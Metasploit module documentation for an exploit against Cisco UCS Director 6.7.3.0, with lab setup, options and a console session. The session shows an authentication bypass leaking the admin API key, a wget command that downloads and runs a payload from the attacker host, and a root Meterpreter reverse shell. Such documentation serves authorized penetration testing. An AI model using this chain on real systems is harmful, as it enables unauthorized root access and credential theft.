## Vulnerable Application

### Description

This module exploits an authentication bypass and directory traversals
in Cisco UCS Director < 6.7.4.0 to leak the administrator's REST API
key and execute a Cloupia script containing an arbitrary root command.

Note that the primary functionality of this module is to leverage the
Cloupia script interpreter to execute code. This functionality is part
of the application's intended operation and considered a "foreverday."
The authentication bypass and directory traversals only get us there.

If you already have an API key, you may set it in the `API_KEY` option.
The `LEAK_FILE` option may be set if you wish to leak the API key from a
different absolute path, but normally this isn't advisable.

Tested on Cisco's VMware distribution of 6.7.3.0.

### Setup

**Note:** You will need a Cisco account to proceed, particularly for
**software.cisco.com**. _\*Cough\*_

1. Download
   [CUCSD_6_7_3_0_67414_VMWARE_SIGNED_EVAL.zip](https://software.cisco.com/download/home/286320555/type/285018084/release/6)
2. Unzip `CUCSD_6_7_3_0_67414_VMWARE_SIGNED_EVAL.zip` and unzip
   `CUCSD_6_7_3_0_67414_VMWARE_GA.zip` inside it
3. Import `CUCSD_6_7_3_0_67414.ovf` into VMware or your preferred
   virtualization software
4. Start the VM and wait for the system to finish booting
5. Visit <https://[RHOST]/app/ui/login.jsp>, where `[RHOST]` is the
   target's IP
6. Wait nearly forever for the system to finish initializing
7. Sign in with `admin:admin` to log the admin's REST API key in
   `/opt/infra/idaccessmgr/logfile.txt`

You are now ready to test the module using the steps below.

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Options

### API_KEY

If you already have an admin REST API key, you can authenticate with it
by setting this option.

### LEAK_FILE

This is the file to leak the API key from, specified as an absolute
path. It defaults to `/opt/infra/idaccessmgr/logfile.txt`, and you
shouldn't need to change it.

## Scenarios

### Cisco UCS Director 6.7.3.0 VMware distribution

```
msf > use exploit/linux/http/cisco_ucs_cloupia_script_rce
msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > options

Module options (exploit/linux/http/cisco_ucs_cloupia_script_rce):

   Name       Current Setting                     Required  Description
   ----       ---------------                     --------  -----------
   API_KEY                                        no        API key if you have it
   LEAK_FILE  /opt/infra/idaccessmgr/logfile.txt  yes       Leak API key from this file (absolute path)
   Proxies                                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443                                 yes       The target port (TCP)
   SRVHOST    0.0.0.0                             yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                                yes       The local port to listen on.
   SSL        true                                no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                        no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                                   yes       Base path
   URIPATH                                        no        The URI to use for this exploit (default is random)
   VHOST                                          no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > set rhosts 172.16.249.158
rhosts => 172.16.249.158
msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf exploit(linux/http/cisco_ucs_cloupia_script_rce) > run

[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. Target is running Cisco UCS Director.
[*] Creating exports directory
[+] Successfully created exports directory
[*] Leaking API key from /opt/infra/idaccessmgr/logfile.txt
[+] Successfully dumped /opt/infra/idaccessmgr/logfile.txt
[+] Found API key: FE30858BE2FD4BAB8208F5A1DE909AAD
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/vV8W6PFtOmPZIe
[*] Local IP: http://192.168.1.3:8080/vV8W6PFtOmPZIe
[*] Generated command stager: ["wget -qO /tmp/BaebLrFX http://172.16.249.1:8080/vV8W6PFtOmPZIe;chmod +x /tmp/BaebLrFX;/tmp/BaebLrFX;rm -f /tmp/BaebLrFX"]
[*] Executing command: wget -qO /tmp/BaebLrFX http://172.16.249.1:8080/vV8W6PFtOmPZIe;chmod +x /tmp/BaebLrFX;/tmp/BaebLrFX;rm -f /tmp/BaebLrFX
[+] Successfully executed command: wget -qO /tmp/BaebLrFX http://172.16.249.1:8080/vV8W6PFtOmPZIe;chmod +x /tmp/BaebLrFX;/tmp/BaebLrFX;rm -f /tmp/BaebLrFX
[*] Client 172.16.249.158 (Wget/1.12 (linux-gnu)) requested /vV8W6PFtOmPZIe
[*] Sending payload to 172.16.249.158 (Wget/1.12 (linux-gnu))
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.158:35570) at 2020-05-10 05:46:44 -0500
[*] Server stopped.

meterpreter > getuid
Server username: root @ localhost (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdom
OS           : CentOS 6.7 (Linux 2.6.32-754.6.3.el6.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
